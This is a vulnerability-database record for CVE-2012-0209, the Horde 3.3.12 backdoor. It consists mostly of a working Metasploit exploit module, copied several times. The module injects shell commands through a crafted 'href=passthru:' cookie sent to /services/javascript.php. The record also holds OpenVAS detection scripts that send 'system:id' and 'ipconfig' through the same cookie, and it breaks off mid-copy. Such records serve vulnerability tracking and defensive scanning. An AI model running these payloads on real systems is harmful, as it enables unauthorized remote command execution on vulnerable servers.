ID SSV:72587 Type seebug Reporter Root Modified 2014-07-01T00:00:00
Description
No description provided by source.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution vulnerability introduced
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
},
'Author' => [
'Eric Romang', # first public PoC
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0209'],
[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x0a\x0d",
'DisableNops' => true,
'Space' => 4096,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 13 2012'
))
register_options(
[
OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
], self.class)
end
def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end
# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end
function = "passthru"
key = Rex::Text.rand_text_alpha(6)
arguments = "echo #{key}`"+payload.raw+"`#{key}"
res = send_request_cgi({
'uri' => uri + "/services/javascript.php",
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "app="+datastore['APP']+"&file=open_calendar.js",
'headers' =>
{
'Cookie' => "href="+function+":"+arguments,
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
resp = res.body.split(key)
if resp and resp[1]
print_status(resp[1])
else
print_error("No response found")
end
handler
end
end
{"lastseen": "2017-11-19T15:43:39", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": 7.3, "vector": "NONE", "modified": "2017-11-19T15:43:39", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2012-0209"]}, {"type": "dsquare", "idList": ["E-26"]}, {"type": "d2", "idList": ["D2SEC_HORDE_BACKDOOR"]}, {"type": "exploitdb", "idList": ["EDB-ID:18492"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310103423", "OPENVAS:103423"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/HTTP/HORDE_HREF_BACKDOOR"]}, {"type": "nessus", "idList": ["HORDE_OPEN_CALENDAR_BACKDOOR.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:109874"]}], "modified": "2017-11-19T15:43:39", "rev": 2}, "vulnersScore": 7.3}, "href": "https://www.seebug.org/vuldb/ssvid-72587", "references": [], "enchantments_done": [], "id": "SSV:72587", "title": "Horde 3.3.12 Backdoor Arbitrary PHP Code Execution", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": ["CVE-2012-0209"], "viewCount": 4, "sourceData": "\n ##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\n\r\nrequire 'msf/core'\r\n\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = ExcellentRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpClient\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits an arbitrary PHP code execution vulnerability introduced\r\n\t\t\t\tas a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.\r\n\t\t\t},\r\n\t\t\t'Author' => [\r\n\t\t\t\t'Eric Romang', # first public PoC\r\n\t\t\t\t'jduck' # Metasploit module\r\n\t\t\t],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'CVE', '2012-0209'],\r\n\t\t\t\t\t[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],\r\n\t\t\t\t\t[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'BadChars' => "\\x0a\\x0d",\r\n\t\t\t\t\t'DisableNops' => true,\r\n\t\t\t\t\t'Space' => 4096,\r\n\t\t\t\t\t'Compat' =>\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'PayloadType' => 'cmd',\r\n\t\t\t\t\t\t}\r\n\t\t\t\t},\r\n\t\t\t'Platform' => [ 'unix', 'linux' ],\r\n\t\t\t'Arch' => ARCH_CMD,\r\n\t\t\t'DefaultTarget' => 0,\r\n\t\t\t'Targets' => [[ 'Automatic', { }]],\r\n\t\t\t'DisclosureDate' => 'Feb 13 2012'\r\n\t\t\t))\r\n\r\n\t\t\tregister_options(\r\n\t\t\t\t[\r\n\t\t\t\t\tOptString.new('URI', [true, "Path to Horde installation", "/horde"]),\r\n\t\t\t\t\tOptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),\r\n\t\t\t\t], self.class)\r\n\tend\r\n\r\n\tdef exploit\r\n\t\t# Make sure the URI begins with a slash\r\n\t\turi = datastore['URI']\r\n\t\tif uri[0,1] != '/'\r\n\t\t\turi = '/' + uri\r\n\t\tend\r\n\r\n\t\t# Make sure the URI ends without a slash, because it's already part of the URI\r\n\t\tif uri[-1, 1] == '/'\r\n\t\t\turi = uri[0, uri.length-1]\r\n\t\tend\r\n\r\n\t\tfunction = "passthru"\r\n\t\tkey = Rex::Text.rand_text_alpha(6)\r\n\t\targuments = "echo #{key}`"+payload.raw+"`#{key}"\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => uri + "/services/javascript.php",\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'ctype' => 'application/x-www-form-urlencoded',\r\n\t\t\t'data' => "app="+datastore['APP']+"&file=open_calendar.js",\r\n\t\t\t'headers' =>\r\n\t\t\t{\r\n\t\t\t\t'Cookie' => "href="+function+":"+arguments,\r\n\t\t\t\t'Connection' => 'Close',\r\n\t\t\t}\r\n\t\t}) #default timeout, we don't care about the response\r\n\r\n\t\tif (res)\r\n\t\t\tprint_status("The server returned: #{res.code} #{res.message}")\r\n\t\tend\r\n\r\n\t\tresp = res.body.split(key)\r\n\t\tif resp and resp[1]\r\n\t\t\tprint_status(resp[1])\r\n\t\telse\r\n\t\t\tprint_error("No response found")\r\n\t\tend\r\n\r\n\t\thandler\r\n\tend\r\n\r\nend\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-72587", "type": "seebug", "immutableFields": []}
{"cve": [{"lastseen": "2021-02-02T05:59:44", "description": "Horde 3.3.12, Horde Groupware 1.2.10, and Horde Groupware Webmail Edition 1.2.10, as distributed by FTP between November 2011 and February 2012, contains an externally introduced modification (Trojan Horse) in templates/javascript/open_calendar.js, which allows remote attackers to execute arbitrary PHP code.", "edition": 4, "cvss3": {}, "published": "2012-09-25T22:55:00", "title": "CVE-2012-0209", "type": "cve", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0209"], "modified": "2012-09-26T04:00:00", "cpe": ["cpe:/a:horde:groupware:1.2.10", "cpe:/a:horde:horde:3.3.12"], "id": "CVE-2012-0209", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0209", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:horde:horde:3.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:horde:groupware:1.2.10:*:*:*:*:*:*:*", "cpe:2.3:a:horde:groupware:1.2.10:*:webmail:*:*:*:*:*"]}], "d2": [{"lastseen": "2019-05-29T19:19:04", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0209"], "description": "**Name**| d2sec_horde_backdoor \n---|--- \n**CVE**| CVE-2012-0209 \n**Exploit Pack**| [D2ExploitPack](<http://http://www.d2sec.com/products.htm>) \n**Description**| d2sec_horde_backdoor \n**Notes**| \n", "edition": 2, "modified": "2012-09-25T22:55:00", "published": "2012-09-25T22:55:00", "id": "D2SEC_HORDE_BACKDOOR", "href": "http://exploitlist.immunityinc.com/home/exploitpack/D2ExploitPack/d2sec_horde_backdoor", "title": "DSquare Exploit Pack: D2SEC_HORDE_BACKDOOR", "type": "d2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2017-07-28T10:50:41", "bulletinFamily": "scanner", "cvelist": ["CVE-2012-0209"], "description": "Horde Groupware is prone to a backdoor vulnerability.\n\nAttackers can exploit this issue to execute arbitrary code in the\ncontext of the application. Successful attacks will compromise the\naffected application.\n\nHorde Groupware versions 1.2.10 between November 2, 2011, and February\n7, 2012, are vulnerable.", "modified": "2017-07-13T00:00:00", "published": "2012-02-16T00:00:00", "id": "OPENVAS:103423", "href": "http://plugins.openvas.org/nasl.php?oid=103423", "type": "openvas", "title": "Horde Groupware Source Packages Backdoor Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_horde_backdoor_51989.nasl 6720 2017-07-13 14:25:27Z cfischer $\n#\n# Horde Groupware Source Packages Backdoor Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"Horde Groupware is prone to a backdoor vulnerability.\n\nAttackers can exploit this issue to execute arbitrary code in the\ncontext of the application. Successful attacks will compromise the\naffected application.\n\nHorde Groupware versions 1.2.10 between November 2, 2011, and February\n7, 2012, are vulnerable.\";\n\ntag_solution = \"The vendor released an update. Please see the references for details.\";\n\nif (description)\n{\n script_id(103423);\n script_bugtraq_id(51989);\n script_cve_id(\"CVE-2012-0209\");\n script_version (\"$Revision: 6720 $\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n\n script_name(\"Horde Groupware Source Packages Backdoor Vulnerability\");\n\n\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-13 16:25:27 +0200 (Thu, 13 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2012-02-16 09:13:01 +0100 (Thu, 16 Feb 2012)\");\n script_category(ACT_ATTACK);\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2012 Greenbone Networks GmbH\");\n script_dependencies(\"horde_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"horde/installed\");\n\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_xref(name : \"URL\" , value : \"http://www.securityfocus.com/bid/51989\");\n script_xref(name : \"URL\" , value : \"http://lists.horde.org/archives/announce/2012/000751.html\");\n script_xref(name : \"URL\" , value : \"http://lists.horde.org/archives/announce/2012/000749.html\");\n script_xref(name : \"URL\" , value : \"http://lists.horde.org/archives/announce/2012/000750.html\");\n script_xref(name : \"URL\" , value : \"http://git.horde.org/diff.php/groupware/docs/groupware/CHANGES?rt=horde&r1=1.38.2.16&r2=1.38.2.17&ty=h%27\");\n script_xref(name : \"URL\" , value : \"http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/\");\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"version_func.inc\");\n \nport = get_http_port(default:80);\nif(!can_host_php(port:port))exit(0);\n\nif(!dir = get_dir_from_kb(port:port,app:\"horde\"))exit(0);\n\nhost = get_host_name();\n\nres = host_runs(\"windows\");\n\nif (res == \"unknown\") {\n cmds = make_array(\"system:id\",\"uid=[0-9]+.*gid=[0-9]+.*\",\"system:ipconfig /all\",\"Subnet Mask\");\n} \nelse if(res == \"yes\" ) {\n cmds = make_array(\"system:ipconfig /all\",\"Subnet Mask\");\n}\nelse { \n cmds = make_array(\"system:id\",\"uid=[0-9]+.*gid=[0-9]+.*\");\n} \n\nurl = string(dir, \"/services/javascript.php?app=horde&file=open_calendar.js\"); \n\nforeach cmd (keys(cmds)) {\n\n req = string(\"GET \", url, \" HTTP/1.1\\r\\n\",\n \"Host: \", host, \"\\r\\n\",\n \"Cookie: href=\",cmd,\"\\r\\n\\r\\n\");\n\n res = http_send_recv(port:port, data:req);\n\n if(egrep(pattern:cmds[cmd], string:res)) {\n\n security_message(port:port);\n exit(0);\n\n } \n}\n\nexit(0);\n\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2020-05-12T17:28:05", "bulletinFamily": "scanner", "cvelist": ["CVE-2012-0209"], "description": "Horde Groupware is prone to a backdoor vulnerability.", "modified": "2020-05-08T00:00:00", "published": "2012-02-16T00:00:00", "id": "OPENVAS:1361412562310103423", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310103423", "type": "openvas", "title": "Horde Groupware Source Packages Backdoor Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Horde Groupware Source Packages Backdoor Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (C) 2012 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = 'cpe:/a:horde:horde_groupware';\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.103423\");\n script_bugtraq_id(51989);\n script_cve_id(\"CVE-2012-0209\");\n script_version(\"2020-05-08T08:34:44+0000\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_name(\"Horde Groupware Source Packages Backdoor Vulnerability\");\n script_tag(name:\"last_modification\", value:\"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2012-02-16 09:13:01 +0100 (Thu, 16 Feb 2012)\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"Copyright (C) 2012 Greenbone Networks GmbH\");\n script_dependencies(\"horde_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"horde/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/51989\");\n script_xref(name:\"URL\", value:\"http://lists.horde.org/archives/announce/2012/000751.html\");\n script_xref(name:\"URL\", value:\"http://lists.horde.org/archives/announce/2012/000749.html\");\n script_xref(name:\"URL\", value:\"http://lists.horde.org/archives/announce/2012/000750.html\");\n script_xref(name:\"URL\", value:\"http://git.horde.org/diff.php/groupware/docs/groupware/CHANGES?rt=horde&r1=1.38.2.16&r2=1.38.2.17&ty=h%27\");\n script_xref(name:\"URL\", value:\"http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/\");\n\n script_tag(name:\"solution\", value:\"The vendor released an update. Please see the references for details.\");\n\n script_tag(name:\"summary\", value:\"Horde Groupware is prone to a backdoor vulnerability.\");\n\n script_tag(name:\"impact\", value:\"Attackers can exploit this issue to execute arbitrary code in the context of\n the application. Successful attacks will compromise the affected application.\");\n\n script_tag(name:\"affected\", value:\"Horde Groupware versions 1.2.10 between November 2, 2011, and February 7, 2012, are vulnerable.\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"host_details.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!dir = get_app_location(cpe: CPE, port: port))\n exit(0);\n\nif (dir == \"/\")\n dir = \"\";\n\nhost = http_host_name(port: port);\n\nres = host_runs(\"windows\");\n\nif (res == \"unknown\")\n cmds = make_array(\"system:id\",\"uid=[0-9]+.*gid=[0-9]+.*\",\"system:ipconfig /all\",\"Subnet Mask\");\nelse if(res == \"yes\" )\n cmds = make_array(\"system:ipconfig /all\",\"Subnet Mask\");\nelse\n cmds = make_array(\"system:id\",\"uid=[0-9]+.*gid=[0-9]+.*\");\n\nurl = dir + \"/services/javascript.php?app=horde&file=open_calendar.js\";\n\nforeach cmd (keys(cmds)) {\n req = string(\"GET \", url, \" HTTP/1.1\\r\\n\",\n \"Host: \", host, \"\\r\\n\",\n \"Cookie: href=\",cmd,\"\\r\\n\\r\\n\");\n\n res = http_send_recv(port:port, data:req);\n\n if (egrep(pattern:cmds[cmd], string:res)) {\n report = http_report_vuln_url(port: port, url: url);\n security_message(port: port, data: report);\n exit(0);\n }\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2016-02-02T09:50:23", "description": "Horde 3.3.12 Backdoor Arbitrary PHP Code Execution. CVE-2012-0209. Remote exploit for linux platform", "published": "2012-02-17T00:00:00", "type": "exploitdb", "title": "Horde 3.3.12 Backdoor Arbitrary PHP Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0209"], "modified": "2012-02-17T00:00:00", "id": "EDB-ID:18492", "href": "https://www.exploit-db.com/exploits/18492/", "sourceData": "##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\n\r\nrequire 'msf/core'\r\n\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = ExcellentRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpClient\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits an arbitrary PHP code execution vulnerability introduced\r\n\t\t\t\tas a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.\r\n\t\t\t},\r\n\t\t\t'Author' => [\r\n\t\t\t\t'Eric Romang', # first public PoC\r\n\t\t\t\t'jduck' # Metasploit module\r\n\t\t\t],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'CVE', '2012-0209'],\r\n\t\t\t\t\t[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],\r\n\t\t\t\t\t[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'BadChars' => \"\\x0a\\x0d\",\r\n\t\t\t\t\t'DisableNops' => true,\r\n\t\t\t\t\t'Space' => 4096,\r\n\t\t\t\t\t'Compat' =>\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'PayloadType' => 'cmd',\r\n\t\t\t\t\t\t}\r\n\t\t\t\t},\r\n\t\t\t'Platform' => [ 'unix', 'linux' ],\r\n\t\t\t'Arch' => ARCH_CMD,\r\n\t\t\t'DefaultTarget' => 0,\r\n\t\t\t'Targets' => [[ 'Automatic', { }]],\r\n\t\t\t'DisclosureDate' => 'Feb 13 2012'\r\n\t\t\t))\r\n\r\n\t\t\tregister_options(\r\n\t\t\t\t[\r\n\t\t\t\t\tOptString.new('URI', [true, \"Path to Horde installation\", \"/horde\"]),\r\n\t\t\t\t\tOptString.new('APP', [true, \"App parameter required by javascript.php (must be active)\", \"horde\"]),\r\n\t\t\t\t], self.class)\r\n\tend\r\n\r\n\tdef exploit\r\n\t\t# Make sure the URI begins with a slash\r\n\t\turi = datastore['URI']\r\n\t\tif uri[0,1] != '/'\r\n\t\t\turi = '/' + uri\r\n\t\tend\r\n\r\n\t\t# Make sure the URI ends without a slash, because it's already part of the URI\r\n\t\tif uri[-1, 1] == '/'\r\n\t\t\turi = uri[0, uri.length-1]\r\n\t\tend\r\n\r\n\t\tfunction = \"passthru\"\r\n\t\tkey = Rex::Text.rand_text_alpha(6)\r\n\t\targuments = \"echo #{key}`\"+payload.raw+\"`#{key}\"\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => uri + \"/services/javascript.php\",\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'ctype' => 'application/x-www-form-urlencoded',\r\n\t\t\t'data' => \"app=\"+datastore['APP']+\"&file=open_calendar.js\",\r\n\t\t\t'headers' =>\r\n\t\t\t{\r\n\t\t\t\t'Cookie' => \"href=\"+function+\":\"+arguments,\r\n\t\t\t\t'Connection' => 'Close',\r\n\t\t\t}\r\n\t\t}) #default timeout, we don't care about the response\r\n\r\n\t\tif (res)\r\n\t\t\tprint_status(\"The server returned: #{res.code} #{res.message}\")\r\n\t\tend\r\n\r\n\t\tresp = res.body.split(key)\r\n\t\tif resp and resp[1]\r\n\t\t\tprint_status(resp[1])\r\n\t\telse\r\n\t\t\tprint_error(\"No response found\")\r\n\t\tend\r\n\r\n\t\thandler\r\n\tend\r\n\r\nend\r\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/18492/"}], "packetstorm": [{"lastseen": "2016-12-05T22:18:39", "description": "", "published": "2012-02-17T00:00:00", "type": "packetstorm", "title": "Horde 3.3.12 Backdoor Arbitrary PHP Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0209"], "modified": "2012-02-17T00:00:00", "id": "PACKETSTORM:109874", "href": "https://packetstormsecurity.com/files/109874/Horde-3.3.12-Backdoor-Arbitrary-PHP-Code-Execution.html", "sourceData": "`## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/framework/ \n## \n \n \nrequire 'msf/core' \n \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution', \n'Description' => %q{ \nThis module exploits an arbitrary PHP code execution vulnerability introduced \nas a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10. \n}, \n'Author' => [ \n'Eric Romang', # first public PoC \n'jduck' # Metasploit module \n], \n'License' => MSF_LICENSE, \n'References' => \n[ \n[ 'CVE', '2012-0209'], \n[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ], \n[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ] \n], \n'Privileged' => false, \n'Payload' => \n{ \n'BadChars' => \"\\x0a\\x0d\", \n'DisableNops' => true, \n'Space' => 4096, \n'Compat' => \n{ \n'PayloadType' => 'cmd', \n} \n}, \n'Platform' => [ 'unix', 'linux' ], \n'Arch' => ARCH_CMD, \n'DefaultTarget' => 0, \n'Targets' => [[ 'Automatic', { }]], \n'DisclosureDate' => 'Feb 13 2012' \n)) \n \nregister_options( \n[ \nOptString.new('URI', [true, \"Path to Horde installation\", \"/horde\"]), \nOptString.new('APP', [true, \"App parameter required by javascript.php (must be active)\", \"horde\"]), \n], self.class) \nend \n \ndef exploit \n# Make sure the URI begins with a slash \nuri = datastore['URI'] \nif uri[0,1] != '/' \nuri = '/' + uri \nend \n \n# Make sure the URI ends without a slash, because it's already part of the URI \nif uri[-1, 1] == '/' \nuri = uri[0, uri.length-1] \nend \n \nfunction = \"passthru\" \nkey = Rex::Text.rand_text_alpha(6) \narguments = \"echo #{key}`\"+payload.raw+\"`#{key}\" \n \nres = send_request_cgi({ \n'uri' => uri + \"/services/javascript.php\", \n'method' => 'POST', \n'ctype' => 'application/x-www-form-urlencoded', \n'data' => \"app=\"+datastore['APP']+\"&file=open_calendar.js\", \n'headers' => \n{ \n'Cookie' => \"href=\"+function+\":\"+arguments, \n'Connection' => 'Close', \n} \n}) #default timeout, we don't care about the response \n \nif (res) \nprint_status(\"The server returned: #{res.code} #{res.message}\") \nend \n \nresp = res.body.split(key) \nif resp and resp[1] \nprint_status(resp[1]) \nelse \nprint_error(\"No response found\") \nend \n \nhandler \nend \n \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/109874/horde_href_backdoor.rb.txt"}], "metasploit": [{"lastseen": "2020-10-15T01:19:14", "description": "This module exploits an arbitrary PHP code execution vulnerability introduced as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.\n", "published": "1976-01-01T00:00:00", "type": "metasploit", "title": "Horde 3.3.12 Backdoor Arbitrary PHP Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0209"], "modified": "1976-01-01T00:00:00", "id": "MSF:EXPLOIT/MULTI/HTTP/HORDE_HREF_BACKDOOR", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',\n 'Description' => %q{\n This module exploits an arbitrary PHP code execution vulnerability introduced\n as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.\n },\n 'Author' => [\n 'Eric Romang', # first public PoC\n 'jduck' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'CVE', '2012-0209'],\n [ 'OSVDB', '79246'],\n [ 'EDB', '18492'],\n [ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],\n [ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]\n ],\n 'Privileged' => false,\n 'Payload' =>\n {\n 'BadChars' => \"\\x0a\\x0d\",\n 'DisableNops' => true,\n 'Space' => 4096,\n 'Compat' =>\n {\n 'PayloadType' => 'cmd',\n }\n },\n 'Platform' => %w{ linux unix },\n 'Arch' => ARCH_CMD,\n 'DefaultTarget' => 0,\n 'Targets' => [[ 'Automatic', { }]],\n 'DisclosureDate' => '2012-02-13'\n ))\n\n register_options(\n [\n OptString.new('URI', [true, \"Path to Horde installation\", \"/horde\"]),\n OptString.new('APP', [true, \"App parameter required by javascript.php (must be active)\", \"horde\"]),\n ])\n end\n\n def exploit\n # Make sure the URI begins with a slash\n uri = datastore['URI']\n\n function = \"passthru\"\n key = Rex::Text.rand_text_alpha(6)\n arguments = \"echo #{key}`\"+payload.raw+\"`#{key}\"\n\n res = send_request_cgi({\n 